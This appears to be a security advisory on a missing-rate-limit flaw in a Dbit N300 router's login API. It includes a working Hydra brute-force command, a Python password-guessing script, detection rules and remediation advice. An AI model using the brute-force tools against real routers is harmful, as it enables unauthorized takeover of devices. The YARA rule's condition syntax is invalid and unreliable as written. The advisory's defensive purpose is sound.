CVE-2025-65427

Executive Summary

CVE-2025-65427 identifies a critical security flaw in the Dbit N300 T1 Pro Easy Setup Wireless Wi-Fi Router running firmware version V1.0.0. The vulnerability stems from the absence of rate limiting on the /api/login endpoint, enabling attackers to perform brute-force password enumeration attacks without any throttling or account lockout mechanisms. This allows remote, unauthenticated attackers to systematically guess credentials and gain administrative access to the router.

The vulnerability is classified under CWE-307 (Improper Restriction of Excessive Authentication Attempts) and maps to MITRE ATT&CK tactic T1110 (Brute Force). With a CVSS v3.1 base score of 7.5 (High), the impact is severe due to the network-based attack vector, low complexity, and no required privileges or user interaction. Successful exploitation leads to a complete compromise of the router’s administrative interface, potentially enabling further attacks such as DNS hijacking, traffic interception, or lateral movement within the local network.

No official patch or vendor advisory has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of proof-of-concept code and the simplicity of the attack make this a high-priority target for threat actors.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)

Threat Level: High. The attack is trivial to execute with common tools like Hydra or Burp Suite. Once credentials are obtained, an attacker gains full administrative control over the router, potentially leading to man-in-the-middle attacks, DNS poisoning, or firmware backdooring.

Deep Dive & Mechanics

The Dbit N300 T1 Pro router exposes a web-based administration interface on port 80 (HTTP). The login functionality is handled by the /api/login endpoint, which accepts POST requests with username and password parameters. The firmware version V1.0.0 does not implement any of the following security controls:

• Rate limiting: No restriction on the number of login attempts per IP address or session.
• Account lockout: No temporary or permanent lockout after failed attempts.
• CAPTCHA or challenge-response: No additional verification to distinguish humans from bots.
• Logging or alerting: Failed attempts are not logged or monitored.

The authentication mechanism likely uses a simple comparison against stored credentials (e.g., hardcoded or in a configuration file). Without rate limiting, an attacker can send thousands of requests per second, enumerating passwords from common wordlists (e.g., RockYou) or targeting default credentials.

Attack Flow:

1. Attacker identifies the router’s IP address (e.g., via Shodan or local network scanning).
2. Attacker sends a POST request to http://<router-ip>/api/login with username=admin&password=test.
3. The server responds with a success or failure indicator (e.g., HTTP 200 with JSON {"success": true} or {"success": false}).
4. Attacker iterates through a password list until a successful response is received.
5. Once authenticated, the attacker can access the admin panel and modify router settings.

Example Request:

POST /api/login HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=letmein

Example Response (Success):

{"success": true, "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Example Response (Failure):

{"success": false, "message": "Invalid credentials"}

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire firmware V1.0.0. The following pseudo-code illustrates the missing rate-limiting logic:

Vulnerable Code (Firmware V1.0.0):

@app.route('/api/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    if authenticate(username, password):
        return jsonify(success=True, token=generate_token())
    else:
        return jsonify(success=False, message="Invalid credentials")

Patched Code (Hypothetical):

from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)

@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    username = request.form['username']
    password = request.form['password']
    if authenticate(username, password):
        return jsonify(success=True, token=generate_token())
    else:
        return jsonify(success=False, message="Invalid credentials")

The patched version introduces rate limiting (e.g., 5 attempts per minute per IP) and should also implement account lockout after a threshold of failed attempts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Dbit N300 T1 Pro router on firmware V1.0.0.
• Network access to the router’s web interface (port 80).
• A password wordlist (e.g., /usr/share/wordlists/rockyou.txt).

Exploitation with Hydra:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-post-form "/api/login:username=^USER^&password=^PASS^:Invalid credentials"

Exploitation with Python Script:

import requests

target = "http://192.168.1.1/api/login"
wordlist = "/usr/share/wordlists/rockyou.txt"

with open(wordlist, 'r', encoding='latin-1') as f:
    for password in f:
        password = password.strip()
        data = {"username": "admin", "password": password}
        r = requests.post(target, data=data, timeout=5)
        if "success\": true" in r.text:
            print(f"[+] Found password: {password}")
            break

Lab Setup:

1. Set up a virtualized Dbit N300 T1 Pro router using QEMU or a real device in an isolated network.
2. Ensure the web interface is accessible from the attacker machine.
3. Run the Hydra or Python script to brute-force the admin password.

Blue Team

Detection:

• Monitor for excessive POST requests to /api/login from a single IP address.
• Alert on HTTP 200 responses with "success": true after multiple failures.
• Use network flow data to identify brute-force patterns (e.g., high request rate, sequential passwords).

Mitigation:

• Immediately isolate the router from the internet if possible.
• Change default credentials to a strong, unique password.
• Implement network-level rate limiting (e.g., using a firewall or WAF) to block repeated login attempts.
• Monitor logs for unauthorized access attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• Repeated POST requests to /api/login from the same source IP.
• HTTP responses containing "success": true after a series of failures.
• Unusual traffic patterns to port 80 of the router.

Host IOCs (on the router):

• Modified configuration files (e.g., /etc/config/dropbear or /etc/shadow).
• New SSH or Telnet services enabled.
• Unauthorized firmware changes or backdoor accounts.

File IOCs:

• /tmp/hydra_restore (Hydra restore file).
• /tmp/bruteforce.log (custom script logs).

Example Suricata Rule (see Detection Engineering):

alert http $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Dbit N300 Brute Force Attempt"; content:"POST"; http_method; content:"/api/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule Dbit_N300_BruteForce_Logs {
    meta:
        description = "Detects brute-force attempts against Dbit N300 T1 Pro router"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65427"
    strings:
        $login_endpoint = "/api/login"
        $failed = "Invalid credentials"
        $success = "\"success\": true"
    condition:
        # of ($login_endpoint) > 10 and # of ($failed) > 5
}

Sigma Rule

title: Dbit N300 Brute Force Login Attempts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed login attempts to Dbit N300 router /api/login endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/login'
        sc-status: 200
        cs-username: 'admin'
    condition: selection | count() by src_ip > 10 within 60s
falsepositives:
    - Legitimate admin password changes
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Dbit N300 Brute Force Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/login"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; threshold: type both, track by_src, count 10, seconds 60; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change default credentials: Set a strong, unique password for the admin account.
2. Disable remote management: If not required, disable WAN-side access to the admin interface.
3. Apply network segmentation: Place the router in a separate VLAN with restricted access.
4. Monitor logs: Enable logging and alerting for failed login attempts.

Long-term Fixes:

• Vendor patch: Await an official firmware update from Dbit that implements rate limiting and account lockout.
• Custom firmware: Consider flashing open-source firmware (e.g., OpenWrt) if available for the device.
• Replace device: If no patch is forthcoming, replace the router with a more secure model.

Workarounds:

• Use a reverse proxy (e.g., Nginx) in front of the router to enforce rate limiting.
• Implement a firewall rule to block IPs after a threshold of failed attempts (e.g., using fail2ban).

Valters IT
Securing Digital Frontiers